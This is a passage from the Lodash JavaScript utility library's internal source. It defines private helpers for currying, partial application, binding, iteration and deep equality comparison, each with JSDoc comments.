            length = sources.length,
            customizer = length > 1 ? sources[length - 1] : undefined,
            guard = length > 2 ? sources[2] : undefined;

        customizer = (assigner.length > 3 && typeof customizer == 'function')
          ? (length--, customizer)
          : undefined;

        if (guard && isIterateeCall(sources[0], sources[1], guard)) {
          customizer = length < 3 ? undefined : customizer;
          length = 1;
        }
        object = Object(object);
        while (++index < length) {
          var source = sources[index];
          if (source) {
            assigner(object, source, index, customizer);
          }
        }
        return object;
      });
    }

    /**
     * Creates a `baseEach` or `baseEachRight` function.
     *
     * @private
     * @param {Function} eachFunc The function to iterate over a collection.
     * @param {boolean} [fromRight] Specify iterating from right to left.
     * @returns {Function} Returns the new base function.
     */
    function createBaseEach(eachFunc, fromRight) {
      return function(collection, iteratee) {
        if (collection == null) {
          return collection;
        }
        if (!isArrayLike(collection)) {
          return eachFunc(collection, iteratee);
        }
        var length = collection.length,
            index = fromRight ? length : -1,
            iterable = Object(collection);

        while ((fromRight ? index-- : ++index < length)) {
          if (iteratee(iterable[index], index, iterable) === false) {
            break;
          }
        }
        return collection;
      };
    }

    /**
     * Creates a base function for methods like `_.forIn` and `_.forOwn`.
     *
     * @private
     * @param {boolean} [fromRight] Specify iterating from right to left.
     * @returns {Function} Returns the new base function.
     */
    function createBaseFor(fromRight) {
      return function(object, iteratee, keysFunc) {
        var index = -1,
            iterable = Object(object),
            props = keysFunc(object),
            length = props.length;

        while (length--) {
          var key = props[fromRight ? length : ++index];
          if (iteratee(iterable[key], key, iterable) === false) {
            break;
          }
        }
        return object;
      };
    }

    /**
     * Creates a function that wraps `func` to invoke it with the optional `this`
     * binding of `thisArg`.
     *
     * @private
     * @param {Function} func The function to wrap.
     * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
     * @param {*} [thisArg] The `this` binding of `func`.
     * @returns {Function} Returns the new wrapped function.
     */
    function createBind(func, bitmask, thisArg) {
      var isBind = bitmask & WRAP_BIND_FLAG,
          Ctor = createCtor(func);

      function wrapper() {
        var fn = (this && this !== root && this instanceof wrapper) ? Ctor : func;
        return fn.apply(isBind ? thisArg : this, arguments);
      }
      return wrapper;
    }

    /**
     * Creates a function like `_.lowerFirst`.
     *
     * @private
     * @param {string} methodName The name of the `String` case method to use.
     * @returns {Function} Returns the new case function.
     */
    function createCaseFirst(methodName) {
      return function(string) {
        string = toString(string);

        var strSymbols = hasUnicode(string)
          ? stringToArray(string)
          : undefined;

        var chr = strSymbols
          ? strSymbols[0]
          : string.charAt(0);

        var trailing = strSymbols
          ? castSlice(strSymbols, 1).join('')
          : string.slice(1);

        return chr[methodName]() + trailing;
      };
    }

    /**
     * Creates a function like `_.camelCase`.
     *
     * @private
     * @param {Function} callback The function to combine each word.
     * @returns {Function} Returns the new compounder function.
     */
    function createCompounder(callback) {
      return function(string) {
        return arrayReduce(words(deburr(string).replace(reApos, '')), callback, '');
      };
    }

    /**
     * Creates a function that produces an instance of `Ctor` regardless of
     * whether it was invoked as part of a `new` expression or by `call` or `apply`.
     *
     * @private
     * @param {Function} Ctor The constructor to wrap.
     * @returns {Function} Returns the new wrapped function.
     */
    function createCtor(Ctor) {
      return function() {
        // Use a `switch` statement to work with class constructors. See
        // http://ecma-international.org/ecma-262/7.0/#sec-ecmascript-function-objects-call-thisargument-argumentslist
        // for more details.
        var args = arguments;
        switch (args.length) {
          case 0: return new Ctor;
          case 1: return new Ctor(args[0]);
          case 2: return new Ctor(args[0], args[1]);
          case 3: return new Ctor(args[0], args[1], args[2]);
          case 4: return new Ctor(args[0], args[1], args[2], args[3]);
          case 5: return new Ctor(args[0], args[1], args[2], args[3], args[4]);
          case 6: return new Ctor(args[0], args[1], args[2], args[3], args[4], args[5]);
          case 7: return new Ctor(args[0], args[1], args[2], args[3], args[4], args[5], args[6]);
        }
        var thisBinding = baseCreate(Ctor.prototype),
            result = Ctor.apply(thisBinding, args);

        // Mimic the constructor's `return` behavior.
        // See https://es5.github.io/#x13.2.2 for more details.
        return isObject(result) ? result : thisBinding;
      };
    }

    /**
     * Creates a function that wraps `func` to enable currying.
     *
     * @private
     * @param {Function} func The function to wrap.
     * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
     * @param {number} arity The arity of `func`.
     * @returns {Function} Returns the new wrapped function.
     */
    function createCurry(func, bitmask, arity) {
      var Ctor = createCtor(func);

      function wrapper() {
        var length = arguments.length,
            args = Array(length),
            index = length,
            placeholder = getHolder(wrapper);

        while (index--) {
          args[index] = arguments[index];
        }
        var holders = (length < 3 && args[0] !== placeholder && args[length - 1] !== placeholder)
          ? []
          : replaceHolders(args, placeholder);

        length -= holders.length;
        if (length < arity) {
          return createRecurry(
            func, bitmask, createHybrid, wrapper.placeholder, undefined,
            args, holders, undefined, undefined, arity - length);
        }
        var fn = (this && this !== root && this instanceof wrapper) ? Ctor : func;
        return apply(fn, this, args);
      }
      return wrapper;
    }

    /**
     * Creates a `_.find` or `_.findLast` function.
     *
     * @private
     * @param {Function} findIndexFunc The function to find the collection index.
     * @returns {Function} Returns the new find function.
     */
    function createFind(findIndexFunc) {
      return function(collection, predicate, fromIndex) {
        var iterable = Object(collection);
        if (!isArrayLike(collection)) {
          var iteratee = getIteratee(predicate, 3);
          collection = keys(collection);
          predicate = function(key) { return iteratee(iterable[key], key, iterable); };
        }
        var index = findIndexFunc(collection, predicate, fromIndex);
        return index > -1 ? iterable[iteratee ? collection[index] : index] : undefined;
      };
    }

    /**
     * Creates a `_.flow` or `_.flowRight` function.
     *
     * @private
     * @param {boolean} [fromRight] Specify iterating from right to left.
     * @returns {Function} Returns the new flow function.
     */
    function createFlow(fromRight) {
      return flatRest(function(funcs) {
        var length = funcs.length,
            index = length,
            prereq = LodashWrapper.prototype.thru;

        if (fromRight) {
          funcs.reverse();
        }
        while (index--) {
          var func = funcs[index];
          if (typeof func != 'function') {
            throw new TypeError(FUNC_ERROR_TEXT);
          }
          if (prereq && !wrapper && getFuncName(func) == 'wrapper') {
            var wrapper = new LodashWrapper([], true);
          }
        }
        index = wrapper ? index : length;
        while (++index < length) {
          func = funcs[index];

          var funcName = getFuncName(func),
              data = funcName == 'wrapper' ? getData(func) : undefined;

          if (data && isLaziable(data[0]) &&
                data[1] == (WRAP_ARY_FLAG | WRAP_CURRY_FLAG | WRAP_PARTIAL_FLAG | WRAP_REARG_FLAG) &&
                !data[4].length && data[9] == 1
              ) {
            wrapper = wrapper[getFuncName(data[0])].apply(wrapper, data[3]);
          } else {
            wrapper = (func.length == 1 && isLaziable(func))
              ? wrapper[funcName]()
              : wrapper.thru(func);
          }
        }
        return function() {
          var args = arguments,
              value = args[0];

          if (wrapper && args.length == 1 && isArray(value)) {
            return wrapper.plant(value).value();
          }
          var index = 0,
              result = length ? funcs[index].apply(this, args) : value;

          while (++index < length) {
            result = funcs[index].call(this, result);
          }
          return result;
        };
      });
    }

    /**
     * Creates a function that wraps `func` to invoke it with optional `this`
     * binding of `thisArg`, partial application, and currying.
     *
     * @private
     * @param {Function|string} func The function or method name to wrap.
     * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
     * @param {*} [thisArg] The `this` binding of `func`.
     * @param {Array} [partials] The arguments to prepend to those provided to
     *  the new function.
     * @param {Array} [holders] The `partials` placeholder indexes.
     * @param {Array} [partialsRight] The arguments to append to those provided
     *  to the new function.
     * @param {Array} [holdersRight] The `partialsRight` placeholder indexes.
     * @param {Array} [argPos] The argument positions of the new function.
     * @param {number} [ary] The arity cap of `func`.
     * @param {number} [arity] The arity of `func`.
     * @returns {Function} Returns the new wrapped function.
     */
    function createHybrid(func, bitmask, thisArg, partials, holders, partialsRight, holdersRight, argPos, ary, arity) {
      var isAry = bitmask & WRAP_ARY_FLAG,
          isBind = bitmask & WRAP_BIND_FLAG,
          isBindKey = bitmask & WRAP_BIND_KEY_FLAG,
          isCurried = bitmask & (WRAP_CURRY_FLAG | WRAP_CURRY_RIGHT_FLAG),
          isFlip = bitmask & WRAP_FLIP_FLAG,
          Ctor = isBindKey ? undefined : createCtor(func);

      function wrapper() {
        var length = arguments.length,
            args = Array(length),
            index = length;

        while (index--) {
          args[index] = arguments[index];
        }
        if (isCurried) {
          var placeholder = getHolder(wrapper),
              holdersCount = countHolders(args, placeholder);
        }
        if (partials) {
          args = composeArgs(args, partials, holders, isCurried);
        }
        if (partialsRight) {
          args = composeArgsRight(args, partialsRight, holdersRight, isCurried);
        }
        length -= holdersCount;
        if (isCurried && length < arity) {
          var newHolders = replaceHolders(args, placeholder);
          return createRecurry(
            func, bitmask, createHybrid, wrapper.placeholder, thisArg,
            args, newHolders, argPos, ary, arity - length
          );
        }
        var thisBinding = isBind ? thisArg : this,
            fn = isBindKey ? thisBinding[func] : func;

        length = args.length;
        if (argPos) {
          args = reorder(args, argPos);
        } else if (isFlip && length > 1) {
          args.reverse();
        }
        if (isAry && ary < length) {
          args.length = ary;
        }
        if (this && this !== root && this instanceof wrapper) {
          fn = Ctor || createCtor(fn);
        }
        return fn.apply(thisBinding, args);
      }
      return wrapper;
    }

    /**
     * Creates a function like `_.invertBy`.
     *
     * @private
     * @param {Function} setter The function to set accumulator values.
     * @param {Function} toIteratee The function to resolve iteratees.
     * @returns {Function} Returns the new inverter function.
     */
    function createInverter(setter, toIteratee) {
      return function(object, iteratee) {
        return baseInverter(object, setter, toIteratee(iteratee), {});
      };
    }

    /**
     * Creates a function that performs a mathematical operation on two values.
     *
     * @private
     * @param {Function} operator The function to perform the operation.
     * @param {number} [defaultValue] The value used for `undefined` arguments.
     * @returns {Function} Returns the new mathematical operation function.
     */
    function createMathOperation(operator, defaultValue) {
      return function(value, other) {
        var result;
        if (value === undefined && other === undefined) {
          return defaultValue;
        }
        if (value !== undefined) {
          result = value;
        }
        if (other !== undefined) {
          if (result === undefined) {
            return other;
          }
          if (typeof value == 'string' || typeof other == 'string') {
            value = baseToString(value);
            other = baseToString(other);
          } else {
            value = baseToNumber(value);
            other = baseToNumber(other);
          }
          result = operator(value, other);
        }
        return result;
      };
    }

    /**
     * Creates a function like `_.over`.
     *
     * @private
     * @param {Function} arrayFunc The function to iterate over iteratees.
     * @returns {Function} Returns the new over function.
     */
    function createOver(arrayFunc) {
      return flatRest(function(iteratees) {
        iteratees = arrayMap(iteratees, baseUnary(getIteratee()));
        return baseRest(function(args) {
          var thisArg = this;
          return arrayFunc(iteratees, function(iteratee) {
            return apply(iteratee, thisArg, args);
          });
        });
      });
    }

    /**
     * Creates the padding for `string` based on `length`. The `chars` string
     * is truncated if the number of characters exceeds `length`.
     *
     * @private
     * @param {number} length The padding length.
     * @param {string} [chars=' '] The string used as padding.
     * @returns {string} Returns the padding for `string`.
     */
    function createPadding(length, chars) {
      chars = chars === undefined ? ' ' : baseToString(chars);

      var charsLength = chars.length;
      if (charsLength < 2) {
        return charsLength ? baseRepeat(chars, length) : chars;
      }
      var result = baseRepeat(chars, nativeCeil(length / stringSize(chars)));
      return hasUnicode(chars)
        ? castSlice(stringToArray(result), 0, length).join('')
        : result.slice(0, length);
    }

    /**
     * Creates a function that wraps `func` to invoke it with the `this` binding
     * of `thisArg` and `partials` prepended to the arguments it receives.
     *
     * @private
     * @param {Function} func The function to wrap.
     * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
     * @param {*} thisArg The `this` binding of `func`.
     * @param {Array} partials The arguments to prepend to those provided to
     *  the new function.
     * @returns {Function} Returns the new wrapped function.
     */
    function createPartial(func, bitmask, thisArg, partials) {
      var isBind = bitmask & WRAP_BIND_FLAG,
          Ctor = createCtor(func);

      function wrapper() {
        var argsIndex = -1,
            argsLength = arguments.length,
            leftIndex = -1,
            leftLength = partials.length,
            args = Array(leftLength + argsLength),
            fn = (this && this !== root && this instanceof wrapper) ? Ctor : func;

        while (++leftIndex < leftLength) {
          args[leftIndex] = partials[leftIndex];
        }
        while (argsLength--) {
          args[leftIndex++] = arguments[++argsIndex];
        }
        return apply(fn, isBind ? thisArg : this, args);
      }
      return wrapper;
    }

    /**
     * Creates a `_.range` or `_.rangeRight` function.
     *
     * @private
     * @param {boolean} [fromRight] Specify iterating from right to left.
     * @returns {Function} Returns the new range function.
     */
    function createRange(fromRight) {
      return function(start, end, step) {
        if (step && typeof step != 'number' && isIterateeCall(start, end, step)) {
          end = step = undefined;
        }
        // Ensure the sign of `-0` is preserved.
        start = toFinite(start);
        if (end === undefined) {
          end = start;
          start = 0;
        } else {
          end = toFinite(end);
        }
        step = step === undefined ? (start < end ? 1 : -1) : toFinite(step);
        return baseRange(start, end, step, fromRight);
      };
    }

    /**
     * Creates a function that performs a relational operation on two values.
     *
     * @private
     * @param {Function} operator The function to perform the operation.
     * @returns {Function} Returns the new relational operation function.
     */
    function createRelationalOperation(operator) {
      return function(value, other) {
        if (!(typeof value == 'string' && typeof other == 'string')) {
          value = toNumber(value);
          other = toNumber(other);
        }
        return operator(value, other);
      };
    }

    /**
     * Creates a function that wraps `func` to continue currying.
     *
     * @private
     * @param {Function} func The function to wrap.
     * @param {number} bitmask The bitmask flags. See `createWrap` for more details.
     * @param {Function} wrapFunc The function to create the `func` wrapper.
     * @param {*} placeholder The placeholder value.
     * @param {*} [thisArg] The `this` binding of `func`.
     * @param {Array} [partials] The arguments to prepend to those provided to
     *  the new function.
     * @param {Array} [holders] The `partials` placeholder indexes.
     * @param {Array} [argPos] The argument positions of the new function.
     * @param {number} [ary] The arity cap of `func`.
     * @param {number} [arity] The arity of `func`.
     * @returns {Function} Returns the new wrapped function.
     */
    function createRecurry(func, bitmask, wrapFunc, placeholder, thisArg, partials, holders, argPos, ary, arity) {
      var isCurry = bitmask & WRAP_CURRY_FLAG,
          newHolders = isCurry ? holders : undefined,
          newHoldersRight = isCurry ? undefined : holders,
          newPartials = isCurry ? partials : undefined,
          newPartialsRight = isCurry ? undefined : partials;

      bitmask |= (isCurry ? WRAP_PARTIAL_FLAG : WRAP_PARTIAL_RIGHT_FLAG);
      bitmask &= ~(isCurry ? WRAP_PARTIAL_RIGHT_FLAG : WRAP_PARTIAL_FLAG);

      if (!(bitmask & WRAP_CURRY_BOUND_FLAG)) {
        bitmask &= ~(WRAP_BIND_FLAG | WRAP_BIND_KEY_FLAG);
      }
      var newData = [
        func, bitmask, thisArg, newPartials, newHolders, newPartialsRight,
        newHoldersRight, argPos, ary, arity
      ];

      var result = wrapFunc.apply(undefined, newData);
      if (isLaziable(func)) {
        setData(result, newData);
      }
      result.placeholder = placeholder;
      return setWrapToString(result, func, bitmask);
    }

    /**
     * Creates a function like `_.round`.
     *
     * @private
     * @param {string} methodName The name of the `Math` method to use when rounding.
     * @returns {Function} Returns the new round function.
     */
    function createRound(methodName) {
      var func = Math[methodName];
      return function(number, precision) {
        number = toNumber(number);
        precision = precision == null ? 0 : nativeMin(toInteger(precision), 292);
        if (precision && nativeIsFinite(number)) {
          // Shift with exponential notation to avoid floating-point issues.
          // See [MDN](https://mdn.io/round#Examples) for more details.
          var pair = (toString(number) + 'e').split('e'),
              value = func(pair[0] + 'e' + (+pair[1] + precision));

          pair = (toString(value) + 'e').split('e');
          return +(pair[0] + 'e' + (+pair[1] - precision));
        }
        return func(number);
      };
    }

    /**
     * Creates a set object of `values`.
     *
     * @private
     * @param {Array} values The values to add to the set.
     * @returns {Object} Returns the new set.
     */
    var createSet = !(Set && (1 / setToArray(new Set([,-0]))[1]) == INFINITY) ? noop : function(values) {
      return new Set(values);
    };

    /**
     * Creates a `_.toPairs` or `_.toPairsIn` function.
     *
     * @private
     * @param {Function} keysFunc The function to get the keys of a given object.
     * @returns {Function} Returns the new pairs function.
     */
    function createToPairs(keysFunc) {
      return function(object) {
        var tag = getTag(object);
        if (tag == mapTag) {
          return mapToArray(object);
        }
        if (tag == setTag) {
          return setToPairs(object);
        }
        return baseToPairs(object, keysFunc(object));
      };
    }

    /**
     * Creates a function that either curries or invokes `func` with optional
     * `this` binding and partially applied arguments.
     *
     * @private
     * @param {Function|string} func The function or method name to wrap.
     * @param {number} bitmask The bitmask flags.
     *    1 - `_.bind`
     *    2 - `_.bindKey`
     *    4 - `_.curry` or `_.curryRight` of a bound function
     *    8 - `_.curry`
     *   16 - `_.curryRight`
     *   32 - `_.partial`
     *   64 - `_.partialRight`
     *  128 - `_.rearg`
     *  256 - `_.ary`
     *  512 - `_.flip`
     * @param {*} [thisArg] The `this` binding of `func`.
     * @param {Array} [partials] The arguments to be partially applied.
     * @param {Array} [holders] The `partials` placeholder indexes.
     * @param {Array} [argPos] The argument positions of the new function.
     * @param {number} [ary] The arity cap of `func`.
     * @param {number} [arity] The arity of `func`.
     * @returns {Function} Returns the new wrapped function.
     */
    function createWrap(func, bitmask, thisArg, partials, holders, argPos, ary, arity) {
      var isBindKey = bitmask & WRAP_BIND_KEY_FLAG;
      if (!isBindKey && typeof func != 'function') {
        throw new TypeError(FUNC_ERROR_TEXT);
      }
      var length = partials ? partials.length : 0;
      if (!length) {
        bitmask &= ~(WRAP_PARTIAL_FLAG | WRAP_PARTIAL_RIGHT_FLAG);
        partials = holders = undefined;
      }
      ary = ary === undefined ? ary : nativeMax(toInteger(ary), 0);
      arity = arity === undefined ? arity : toInteger(arity);
      length -= holders ? holders.length : 0;

      if (bitmask & WRAP_PARTIAL_RIGHT_FLAG) {
        var partialsRight = partials,
            holdersRight = holders;

        partials = holders = undefined;
      }
      var data = isBindKey ? undefined : getData(func);

      var newData = [
        func, bitmask, thisArg, partials, holders, partialsRight, holdersRight,
        argPos, ary, arity
      ];

      if (data) {
        mergeData(newData, data);
      }
      func = newData[0];
      bitmask = newData[1];
      thisArg = newData[2];
      partials = newData[3];
      holders = newData[4];
      arity = newData[9] = newData[9] === undefined
        ? (isBindKey ? 0 : func.length)
        : nativeMax(newData[9] - length, 0);

      if (!arity && bitmask & (WRAP_CURRY_FLAG | WRAP_CURRY_RIGHT_FLAG)) {
        bitmask &= ~(WRAP_CURRY_FLAG | WRAP_CURRY_RIGHT_FLAG);
      }
      if (!bitmask || bitmask == WRAP_BIND_FLAG) {
        var result = createBind(func, bitmask, thisArg);
      } else if (bitmask == WRAP_CURRY_FLAG || bitmask == WRAP_CURRY_RIGHT_FLAG) {
        result = createCurry(func, bitmask, arity);
      } else if ((bitmask == WRAP_PARTIAL_FLAG || bitmask == (WRAP_BIND_FLAG | WRAP_PARTIAL_FLAG)) && !holders.length) {
        result = createPartial(func, bitmask, thisArg, partials);
      } else {
        result = createHybrid.apply(undefined, newData);
      }
      var setter = data ? baseSetData : setData;
      return setWrapToString(setter(result, newData), func, bitmask);
    }

    /**
     * Used by `_.defaults` to customize its `_.assignIn` use to assign properties
     * of source objects to the destination object for all destination properties
     * that resolve to `undefined`.
     *
     * @private
     * @param {*} objValue The destination value.
     * @param {*} srcValue The source value.
     * @param {string} key The key of the property to assign.
     * @param {Object} object The parent object of `objValue`.
     * @returns {*} Returns the value to assign.
     */
    function customDefaultsAssignIn(objValue, srcValue, key, object) {
      if (objValue === undefined ||
          (eq(objValue, objectProto[key]) && !hasOwnProperty.call(object, key))) {
        return srcValue;
      }
      return objValue;
    }

    /**
     * Used by `_.defaultsDeep` to customize its `_.merge` use to merge source
     * objects into destination objects that are passed thru.
     *
     * @private
     * @param {*} objValue The destination value.
     * @param {*} srcValue The source value.
     * @param {string} key The key of the property to merge.
     * @param {Object} object The parent object of `objValue`.
     * @param {Object} source The parent object of `srcValue`.
     * @param {Object} [stack] Tracks traversed source values and their merged
     *  counterparts.
     * @returns {*} Returns the value to assign.
     */
    function customDefaultsMerge(objValue, srcValue, key, object, source, stack) {
      if (isObject(objValue) && isObject(srcValue)) {
        // Recursively merge objects and arrays (susceptible to call stack limits).
        stack.set(srcValue, objValue);
        baseMerge(objValue, srcValue, undefined, customDefaultsMerge, stack);
        stack['delete'](srcValue);
      }
      return objValue;
    }

    /**
     * Used by `_.omit` to customize its `_.cloneDeep` use to only clone plain
     * objects.
     *
     * @private
     * @param {*} value The value to inspect.
     * @param {string} key The key of the property to inspect.
     * @returns {*} Returns the uncloned value or `undefined` to defer cloning to `_.cloneDeep`.
     */
    function customOmitClone(value) {
      return isPlainObject(value) ? undefined : value;
    }

    /**
     * A specialized version of `baseIsEqualDeep` for arrays with support for
     * partial deep comparisons.
     *
     * @private
     * @param {Array} array The array to compare.
     * @param {Array} other The other array to compare.
     * @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
     * @param {Function} customizer The function to customize comparisons.
     * @param {Function} equalFunc The function to determine equivalents of values.
     * @param {Object} stack Tracks traversed `array` and `other` objects.
     * @returns {boolean} Returns `true` if the arrays are equivalent, else `false`.
     */
    function equalArrays(array, other, bitmask, customizer, equalFunc, stack) {
      var isPartial = bitmask & COMPARE_PARTIAL_FLAG,
          arrLength = array.length,
          othLength = other.length;

      if (arrLength != othLength && !(isPartial && othLength > arrLength)) {
        return false;
      }
      // Check that cyclic values are equal.
      var arrStacked = stack.get(array);
      var othStacked = stack.get(other);
      if (arrStacked && othStacked) {
        return arrStacked == other && othStacked == array;
      }
      var index = -1,
          result = true,
          seen = (bitmask & COMPARE_UNORDERED_FLAG) ? new SetCache : undefined;

      stack.set(array, other);
      stack.set(other, array);

      // Ignore non-index properties.
      while (++index < arrLength) {
        var arrValue = array[index],
            othValue = other[index];

        if (customizer) {
          var compared = isPartial
            ? customizer(othValue, arrValue, index, other, array, stack)
            : customizer(arrValue, othValue, index, array, other, stack);
        }
        if (compared !== undefined) {
          if (compared) {
            continue;
          }
          result = false;
          break;
        }
        // Recursively compare arrays (susceptible to call stack limits).
        if (seen) {
          if (!arraySome(other, function(othValue, othIndex) {
                if (!cacheHas(seen, othIndex) &&
                    (arrValue === othValue || equalFunc(arrValue, othValue, bitmask, customizer, stack))) {
                  return seen.push(othIndex);
                }
              })) {
            result = false;
            break;
          }
        } else if (!(
              arrValue === othValue ||
                equalFunc(arrValue, othValue, bitmask, customizer, stack)
            )) {
          result = false;
          break;
        }
      }
      stack['delete'](array);
      stack['delete'](other);
      return result;
    }

    /**
     * A specialized version of `baseIsEqualDeep` for comparing objects of
     * the same `toStringTag`.
     *
     * **Note:** This function only supports comparing values with tags of
     * `Boolean`, `Date`, `Error`, `Number`, `RegExp`, or `String`.
     *
     * @private
     * @param {Object} object The object to compare.
     * @param {Object} other The other object to compare.
     * @param {string} tag The `toStringTag` of the objects to compare.
     * @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
     * @param {Function} customizer The function to customize comparisons.
     * @param {Function} equalFunc The function to determine equivalents of values.
     * @param {Object} stack Tracks traversed `object` and `other` objects.
     * @returns {boolean} Returns `true` if the objects are equivalent, else `false`.
     */
    function equalByTag(object, other, tag, bitmask, customizer, equalFunc, stack) {
      switch (tag) {
        case dataViewTag:
          if ((object.byteLength != other.byteLength) ||
              (object.byteOffset != other.byteOffset)) {
            return false;
          }
          object = object.buffer;
          other = other.buffer;

        case arrayBufferTag:
          if ((object.byteLength != other.byteLength) ||
              !equalFunc(new Uint8Array(object), new Uint8Array(other))) {
            return false;
          }
          return true;

        case boolTag:
        case dateTag:
        case numberTag:
          // Coerce booleans to `1` or `0` and dates to milliseconds.
          // Invalid dates are coerced to `NaN`.
          return eq(+object, +other);

        case errorTag:
          return object.name == other.name && object.message == other.message;

        case regexpTag:
        case stringTag:
          // Coerce regexes to strings and treat strings, primitives and objects,
          // as equal. See http://www.ecma-international.org/ecma-262/7.0/#sec-regexp.prototype.tostring
          // for more details.
          return object == (other + '');

        case mapTag:
          var convert = mapToArray;

        case setTag:
          var isPartial = bitmask & COMPARE_PARTIAL_FLAG;
          convert || (convert = setToArray);

          if (object.size != other.size && !isPartial) {
            return false;
          }
          // Assume cyclic values are equal.
          var stacked = stack.get(object);
          if (stacked) {
            return stacked == other;
          }
          bitmask |= COMPARE_UNORDERED_FLAG;

          // Recursively compare objects (susceptible to call stack limits).
          stack.set(object, other);
          var result = equalArrays(convert(object), convert(other), bitmask, customizer, equalFunc, stack);
          stack['delete'](object);
          return result;

        case symbolTag:
          if (symbolValueOf) {
            return symbolValueOf.call(object) == symbolValueOf.call(other);
          }
      }
      return false;
    }

    /**
     * A specialized version of `baseIsEqualDeep` for objects with support for
     * partial deep comparisons.
     *
     * @private
     * @param {Object} object The object to compare.
     * @param {Object} other The other object to compare.
     * @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
     * @param {Function} customizer The function to customize comparisons.
     * @param {Function} equalFunc The function to determine equivalents of values.
     * @param {Object} stack Tracks traversed `object` and `other` objects.
     * @returns {boolean} Returns `true` if the objects are equivalent, else `false`.
     */
    function equalObjects(object, other, bitmask, customizer, equalFunc, stack) {
      var isPartial = bitmask & COMPARE_PARTIAL_FLAG,
          objProps = getAllKeys(object),
          objLength = objProps.length,
          othProps = getAllKeys(other),
          othLength = othProps.length;

      if (objLength != othLength && !isPartial) {
        return false;
      }
      var index = objLength;
      while (index--) {
        var key = objProps[index];
        if (!(isPartial ? key in other : hasOwnProperty.call(other, key))) {
          return false;
        }
      }
      // Check that cyclic values are equal.
      var objStacked = stack.get(object);
      var othStacked = stack.get(other);
      if (objStacked && othStacked) {
        return objStacked == other && othStacked == object;
      }
      var result = true;
      stack.set(object, other);
      stack.set(other, object);

      var skipCtor = isPartial;
      while (++index < objLength) {
        key = objProps[index];
        var objValue = object[key],
            othValue = other[key];

        if (customizer) {
          var compared = isPartial
            ? customizer(othValue, objValue, key, other, object, stack)
            : customizer(objValue, othValue, key, object, other, stack);
        }
        // Recursively compare objects (susceptible to call stack limits).
        if (!(compared === undefined
              ? (objValue === othValue || equalFunc(objValue, othValue, bitmask, customizer, stack))
              : compared
            )) {
          result = false;
          break;
        }
        skipCtor || (skipCtor = key == 'constructor');
      }
      if (result && !skipCtor) {
        var objCtor = object.constructor,
            othCtor = other.constructor;

        // Non `Object` object instances with different constructors are not equal.
        if (objCtor != othCtor &&
            ('constructor' in object && 'constructor' in other) &&
            !(typeof objCtor == 'function' && objCtor instanceof objCtor &&
              typeof othCtor == 'function' && othCtor instanceof othCtor)) {
          result = false;
        }
      }
      stack['delete'](object);
      stack['delete'](other);
      return result;
    }

    /**
     * A specialized version of `baseRest` which flattens the rest array.
     *
     * @private
     * @param {Function} func The function to apply a rest parameter to.
     * @returns {Function} Returns the new function.
     */
    function flatRest(func) {
      return setToString(overRest(func, undefined, flatten), func + '');
    }

    /**
     * Creates an array of own enumerable property names and symbols of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property names and symbols.
     */
    function getAllKeys(object) {
      return baseGetAllKeys(object, keys, getSymbols);
    }

    /**
     * Creates an array of own and inherited enumerable property names and
     * symbols of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of property names and symbols.
     */
    function getAllKeysIn(object) {
      return baseGetAllKeys(object, keysIn, getSymbolsIn);
    }

    /**
     * Gets metadata for `func`.
     *
     * @private
     * @param {Function} func The function to query.
     * @returns {*} Returns the metadata for `func`.
     */
    var getData = !metaMap ? noop : function(func) {
      return metaMap.get(func);
    };

    /**
     * Gets the name of `func`.
     *
     * @private
     * @param {Function} func The function to query.
     * @returns {string} Returns the function name.
     */
    function getFuncName(func) {
      var result = (func.name + ''),
          array = realNames[result],
          length = hasOwnProperty.call(realNames, result) ? array.length : 0;

      while (length--) {
        var data = array[length],
            otherFunc = data.func;
        if (otherFunc == null || otherFunc == func) {
          return data.name;
        }
      }
      return result;
    }

    /**
     * Gets the argument placeholder value for `func`.
     *
     * @private
     * @param {Function} func The function to inspect.
     * @returns {*} Returns the placeholder value.
     */
    function getHolder(func) {
      var object = hasOwnProperty.call(lodash, 'placeholder') ? lodash : func;
      return object.placeholder;
    }

    /**
     * Gets the appropriate "iteratee" function. If `_.iteratee` is customized,
     * this function returns the custom method, otherwise it returns `baseIteratee`.
     * If arguments are provided, the chosen function is invoked with them and
     * its result is returned.
     *
     * @private
     * @param {*} [value] The value to convert to an iteratee.
     * @param {number} [arity] The arity of the created iteratee.
     * @returns {Function} Returns the chosen function or its result.
     */
    function getIteratee() {
      var result = lodash.iteratee || iteratee;
      result = result === iteratee ? baseIteratee : result;
      return arguments.length ? result(arguments[0], arguments[1]) : result;
    }

    /**
     * Gets the data for `map`.
     *
     * @private
     * @param {Object} map The map to query.
     * @param {string} key The reference key.
     * @returns {*} Returns the map data.
     */
    function getMapData(map, key) {
      var data = map.__data__;
      return isKeyable(key)
        ? data[typeof key == 'string' ? 'string' : 'hash']
        : data.map;
    }

    /**
     * Gets the property names, values, and compare flags of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the match data of `object`.
     */
    function getMatchData(object) {
      var result = keys(object),
          length = result.length;

      while (length--) {
        var key = result[length],
            value = object[key];

        result[length] = [key, value, isStrictComparable(value)];
      }
      return result;
    }

    /**
     * Gets the native function at `key` of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @param {string} key The key of the method to get.
     * @returns {*} Returns the function if it's native, else `undefined`.
     */
    function getNative(object, key) {
      var value = getValue(object, key);
      return baseIsNative(value) ? value : undefined;
    }

    /**
     * A specialized version of `baseGetTag` which ignores `Symbol.toStringTag` values.
     *
     * @private
     * @param {*} value The value to query.
     * @returns {string} Returns the raw `toStringTag`.
     */
    function getRawTag(value) {
      var isOwn = hasOwnProperty.call(value, symToStringTag),
          tag = value[symToStringTag];

      try {
        value[symToStringTag] = undefined;
        var unmasked = true;
      } catch (e) {}

      var result = nativeObjectToString.call(value);
      if (unmasked) {
        if (isOwn) {
          value[symToStringTag] = tag;
        } else {
          delete value[symToStringTag];
        }
      }
      return result;
    }

    /**
     * Creates an array of the own enumerable symbols of `object`.
     *
     * @private
     * @param {Object} object The object to query.
     * @returns {Array} Returns the array of symbols.
     */
    var getSymbols = !nativeGetSymbols ? stubArray : function(object) {
      if (object == null) {
        return [];
      }
